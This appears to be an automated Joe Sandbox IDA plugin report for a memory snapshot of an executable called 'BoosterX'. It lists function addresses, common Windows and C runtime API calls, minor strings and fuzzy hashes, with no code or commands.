Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: AddressProc
String ID:
API String ID: 190572456-0
Opcode ID: 58013ddfa1b8f2a6b284722f37e6c4f9e5d0fe59be829cfb9bb44955ab89945c
Instruction ID: 7278a966974de2b167bc0437ab62134a6b4eae48d61b6b789dc6057e2b4d2f94
Opcode Fuzzy Hash: 58013ddfa1b8f2a6b284722f37e6c4f9e5d0fe59be829cfb9bb44955ab89945c
Instruction Fuzzy Hash: 7841E222B09A53A6FE159F67AC006B66295BF44BA1F194637DD9ECB794EF3CE4408300

Function 00007FF6C0395658 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF6C039567F
_set_statfp.LIBCMT ref: 00007FF6C039569A
_set_statfp.LIBCMT ref: 00007FF6C03956B6
_set_statfp.LIBCMT ref: 00007FF6C03956F2

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: f3bd3298a46f29c998dca386ec4adc9bd6d7efdfabb851da102e47160911a3a1
Instruction ID: cd47a5f1d94137ee8ec2ea694555ac0bc826990f3480351e9fa1462b9a515cbb
Opcode Fuzzy Hash: f3bd3298a46f29c998dca386ec4adc9bd6d7efdfabb851da102e47160911a3a1
Instruction Fuzzy Hash: 9D11C636E5CA0325F6541D28E4823B911416F553B3FD95634EAEEC77D6CF2CA4C44321

Function 00007FF6C037FDA4 Relevance: 7.5, APIs: 5, Instructions: 29windowsynchronizationCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32 ref: 00007FF6C037FDC1
GetMessageW.USER32 ref: 00007FF6C037FDD8
TranslateMessage.USER32 ref: 00007FF6C037FDE3
DispatchMessageW.USER32 ref: 00007FF6C037FDEE
WaitForSingleObject.KERNEL32 ref: 00007FF6C037FDFC

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: Message$DispatchObjectPeekSingleTranslateWait
String ID:
API String ID: 3621893840-0
Opcode ID: 778d1433a15cb232463e835737ecf941f1ea11e5feb15a2f4f0cdc38d0c17baa
Instruction ID: 2b37f25f723ceaad709764c1872a024314573991d7774711081b0254f01d1655
Opcode Fuzzy Hash: 778d1433a15cb232463e835737ecf941f1ea11e5feb15a2f4f0cdc38d0c17baa
Instruction Fuzzy Hash: 5DF04F21B38857A2F7608F28E895E762251FFE4706F545030EA8FC1A949F3CD149C700

Function 00007FF6C03861DC Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF6C0386206
abort.LIBCMT ref: 00007FF6C038646A

Strings

csm, xrefs: 00007FF6C038639A
csm, xrefs: 00007FF6C038622B

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: __except_validate_context_recordabort
String ID: csm$csm
API String ID: 746414643-3733052814
Opcode ID: 45511b213c9a374d7ceaaf4858a5ad53e2acac7686b2eca8251f0658937cf8b7
Instruction ID: 39ffb15ae2e55c7b53f66660684b93a9d02c2d31522f830264daa922bb82c4c4
Opcode Fuzzy Hash: 45511b213c9a374d7ceaaf4858a5ad53e2acac7686b2eca8251f0658937cf8b7
Instruction Fuzzy Hash: B571A0726086929ADB608F26905477D7BA5EB41B8AF0482B7DECCC7B89CF3CD591C701

Function 00007FF6C0388074 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6C038809B
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6C038826D

Strings

*, xrefs: 00007FF6C03881A1
, xrefs: 00007FF6C03881F6

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: $*
API String ID: 3215553584-3982473090
Opcode ID: 9f157a4f6751954bae8bab9751d51363cef21cdc707d610504346d4c75dafc04
Instruction ID: e4de98d464e22e8fb56e428d2aa781636e9609cd179eefa9ae72d26757a6e1af
Opcode Fuzzy Hash: 9f157a4f6751954bae8bab9751d51363cef21cdc707d610504346d4c75dafc04
Instruction Fuzzy Hash: 0451507290C647AAE7658F34904937C3BA1EB55B0AF1417B7CECEC2399CF28E586C605

Function 00007FF6C03916D8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 126COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 00007FF6C039174B
MultiByteToWideChar.KERNEL32 ref: 00007FF6C0391814
GetStringTypeW.KERNEL32 ref: 00007FF6C039182E

Strings

$%s, xrefs: 00007FF6C03916DA

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: ByteCharMultiWide$StringType
String ID: $%s
API String ID: 3586891840-3791308623
Opcode ID: e5e9050dfdaeb3c12b157b48f2e5ef5602bf6f551ba74a9a670d22b2743eb576
Instruction ID: be372b6664e56bf8aaf6bbc8e82d8d4627e85c11816032940ccdd7f5f8980f62
Opcode Fuzzy Hash: e5e9050dfdaeb3c12b157b48f2e5ef5602bf6f551ba74a9a670d22b2743eb576
Instruction Fuzzy Hash: E8419F22B18B83AAEB608F65D8006A92391FB45BA9F480636DE9DD77D5DF3CE4418300

Function 00007FF6C0386620 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 117COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6C0385190: abort.LIBCMT ref: 00007FF6C03851A3

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF6C03866CA
_CreateFrameInfo.LIBVCRUNTIME ref: 00007FF6C03866F6

Strings

csm, xrefs: 00007FF6C03867F6

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: CreateFrameInfo__except_validate_context_recordabort
String ID: csm
API String ID: 2466640111-1018135373
Opcode ID: ef48871438151390fa300b301edbe87f2aaf35895cd4fd9de5e2d21b12dcaab2
Instruction ID: 3cccebfb8b8387d7e657a50c21df6f9a4550e985fb11cbf73bd8ff002013cf29
Opcode Fuzzy Hash: ef48871438151390fa300b301edbe87f2aaf35895cd4fd9de5e2d21b12dcaab2
Instruction Fuzzy Hash: 97518E7261874296DA20AF25E44426E77E4FB88B96F400677EBCDC7B55DF38E050CB00

Function 00007FF6C03942E0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 00007FF6C03943C6
WriteFile.KERNEL32 ref: 00007FF6C03943F9
GetLastError.KERNEL32 ref: 00007FF6C039441B

Strings

U, xrefs: 00007FF6C03943A4

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: ByteCharErrorFileLastMultiWideWrite
String ID: U
API String ID: 2456169464-4171548499
Opcode ID: d45e585e69c0243794f741c6b44cd1cf0a8545c3e68d7014f3b50cee5fd1175b
Instruction ID: 026ab394987b51ee6bc0803fbd8227caa152a7fd8366991a00337137ad841d9b
Opcode Fuzzy Hash: d45e585e69c0243794f741c6b44cd1cf0a8545c3e68d7014f3b50cee5fd1175b
Instruction Fuzzy Hash: 5E41D322B18A82A6EB20CF25E8447BA77A0FB88795F444131EE8DC7798DF7CD451CB40

Function 00007FF6C0379030 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 83COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00007FF6C0379059
GetObjectW.GDI32 ref: 00007FF6C0379087
ReleaseDC.USER32 ref: 00007FF6C037913B

Strings

, xrefs: 00007FF6C03790D3

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: ObjectRelease
String ID:
API String ID: 1429681911-3916222277
Opcode ID: 9b4f6076e1c5c019ef354d78af0e0b1b4430159407e758763c369daf3f7713af
Instruction ID: 260a4936808f349ed56e11e4c0eabd54a014f3a2c9fadb10bbfe2b5cfab14623
Opcode Fuzzy Hash: 9b4f6076e1c5c019ef354d78af0e0b1b4430159407e758763c369daf3f7713af
Instruction Fuzzy Hash: 6E313A35608B5296EA04AF17B81862AB7A0F789FD6F504435ED8F83B94CF3CE449CB00

Function 00007FF6C036E7EC Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 53COMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(?,?,?,00007FF6C03730FF,?,?,00001000,00007FF6C035E52D), ref: 00007FF6C036E837
CreateSemaphoreW.KERNEL32(?,?,?,00007FF6C03730FF,?,?,00001000,00007FF6C035E52D), ref: 00007FF6C036E847
CreateEventW.KERNEL32(?,?,?,00007FF6C03730FF,?,?,00001000,00007FF6C035E52D), ref: 00007FF6C036E860

Strings

Thread pool initialization failed., xrefs: 00007FF6C036E87C

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: Create$CriticalEventInitializeSectionSemaphore
String ID: Thread pool initialization failed.
API String ID: 3340455307-2182114853
Opcode ID: b988014fa09f69f29488cf01db4975baa26b0601a0ec9a12dcfa548a4564653f
Instruction ID: ea5c9c0a6312540dc6a2109fd10c06321fb381b7b965bcf0f057b7678d93f34e
Opcode Fuzzy Hash: b988014fa09f69f29488cf01db4975baa26b0601a0ec9a12dcfa548a4564653f
Instruction Fuzzy Hash: 3221A232A1964396F7108F24E4547AD32A1FB98B0EF188035CA8DCB395CF7E945A8B84

Function 00007FF6C0378560 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00007FF6C037856C
GetDeviceCaps.GDI32 ref: 00007FF6C037857D
ReleaseDC.USER32 ref: 00007FF6C037858A

Strings

, xrefs: 00007FF6C0378590

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: CapsDeviceRelease
String ID:
API String ID: 127614599-3916222277
Opcode ID: a495d1c106870e0f0321fa1e920729909cda6ce65bb071f3320cbe7ab8d646f7
Instruction ID: a95344d8d5066d0aa815e89dfcdf331b89c40bbc4075cdffbabb267147bfde83
Opcode Fuzzy Hash: a495d1c106870e0f0321fa1e920729909cda6ce65bb071f3320cbe7ab8d646f7
Instruction Fuzzy Hash: 48E0C220B08A4292FB086BBAF58A03A2261AB4CBD2F158435DA5FC77D4CF3CC4C54300

Function 00007FF6C035D1B8 Relevance: 6.2, APIs: 4, Instructions: 238timeCOMMON

Download Yara Rule

APIs

SetFileTime.KERNEL32 ref: 00007FF6C035D47C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C035D564
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C035D56A
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C035D570

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$FileTime
String ID:
API String ID: 1137671866-0
Opcode ID: 634f0027529a39f2956737d7ffa65a829bc6c39c8b9bd9b086ee47eb9c2cc145
Instruction ID: 3fd5e4b724083df5e2e5cc0c5c02b19104240b703b6e604590590f7a0cdaf825
Opcode Fuzzy Hash: 634f0027529a39f2956737d7ffa65a829bc6c39c8b9bd9b086ee47eb9c2cc145
Instruction Fuzzy Hash: FAA1CF66A18A83A2EE20DF65E8441BD7361FB85785F400632EACDC7BA9DF3CE544C700

Function 00007FF6C03704C8 Relevance: 6.1, APIs: 4, Instructions: 122COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF6C037057C
SetLastError.KERNEL32 ref: 00007FF6C0370617

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 4d6045c8b408e668fa1133d078708eca6aecce9a2eefd03080f568449f648bad
Instruction ID: 3c2c4b37c3a08220621b3e61f2ffb6bd22b9103f07a78f13c83b4d1f5743e8c8
Opcode Fuzzy Hash: 4d6045c8b408e668fa1133d078708eca6aecce9a2eefd03080f568449f648bad
Instruction Fuzzy Hash: CC519E62B14A43A9FB009F69D4552FC2361EB85B99F504236DA9CD7BAAEF2CD240C344

Function 00007FF6C0379D10 Relevance: 6.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF6C0379D3C
GetLastError.KERNEL32 ref: 00007FF6C0379D88
CreateDirectoryW.KERNEL32 ref: 00007FF6C0379E90
LocalFree.KERNEL32 ref: 00007FF6C0379EA0

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: CreateCurrentDirectoryErrorFreeLastLocalProcess
String ID:
API String ID: 1077098981-0
Opcode ID: 636cda63db5f50613c70694827d2b71a51838dc95d214f096266c0c3ed1ab69a
Instruction ID: bbd5a56244b2bd74c7ff5cdaff58f420d4d44ab5b231fabe6f53435266873116
Opcode Fuzzy Hash: 636cda63db5f50613c70694827d2b71a51838dc95d214f096266c0c3ed1ab69a
Instruction Fuzzy Hash: FA515B32A18B43E6EB508F65E5447AE67A4FB85B86F500136EA8ED7B54DF3CD504CB00

Function 00007FF6C038DADC Relevance: 6.1, APIs: 4, Instructions: 104COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6C038DB2F
WideCharToMultiByte.KERNEL32 ref: 00007FF6C038DC01
GetLastError.KERNEL32 ref: 00007FF6C038DC24
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6C038DC56

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: _invalid_parameter_noinfo$ByteCharErrorLastMultiWide
String ID:
API String ID: 4141327611-0
Opcode ID: a98e5aeb67f48d2f6f979bd70fbe768edfa1404fbf159e78b91cdf96afedf3b8
Instruction ID: 0b36527c0e5d9fbc4fe290b5507e6340c71eb9f0542de6fe2968e320a26ab386
Opcode Fuzzy Hash: a98e5aeb67f48d2f6f979bd70fbe768edfa1404fbf159e78b91cdf96afedf3b8
Instruction Fuzzy Hash: CB417E71A0868366FF679F119044379A3A1EF90BA2F1542B3DACDC7B95DF2CE9418700

Function 00007FF6C0363940 Relevance: 6.1, APIs: 4, Instructions: 101fileCOMMON

Download Yara Rule

APIs

MoveFileW.KERNEL32 ref: 00007FF6C036397D
MoveFileW.KERNEL32 ref: 00007FF6C03639F4
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C0363AAB
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C0363AB1

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: FileMove_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3823481717-0
Opcode ID: 4230d5988ea448787440b68bfd073e70abe7b21d56b24157a801639cdcef97c4
Instruction ID: 82cff2c48c9a2027e445cd2c746b50e91e44cc6f30daac91f196ab006f1cc9e2
Opcode Fuzzy Hash: 4230d5988ea448787440b68bfd073e70abe7b21d56b24157a801639cdcef97c4
Instruction Fuzzy Hash: 9441AE62F14B53A4FB00CFB9E8851AC2372BB45BA9B101235DE9DEBB99DF78D045C240

Function 00007FF6C0363644 Relevance: 6.1, APIs: 4, Instructions: 94COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(?,?,?,?,?,?,?,00000000,?,00007FF6C036305D), ref: 00007FF6C036368E
CreateDirectoryW.KERNEL32 ref: 00007FF6C03636F3
GetLastError.KERNEL32(?,?,?,?,?,?,?,00000000,?,00007FF6C036305D), ref: 00007FF6C0363751
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C036378E

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: CreateDirectory$ErrorLast_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 2359106489-0
Opcode ID: 27821a6842deb0aeb1942545e4d2e9236c0873fc3613091ef6fa8cf2280b892d
Instruction ID: a2bb24b7eca653a7bf8d6e29ad122b41815f9151d9e55aec91fdccfe698a8960
Opcode Fuzzy Hash: 27821a6842deb0aeb1942545e4d2e9236c0873fc3613091ef6fa8cf2280b892d
Instruction Fuzzy Hash: FD31C062A0C683A1EA609F29A58527962A1FF897A2F540231EEDDCB7D5DF3CE4458600

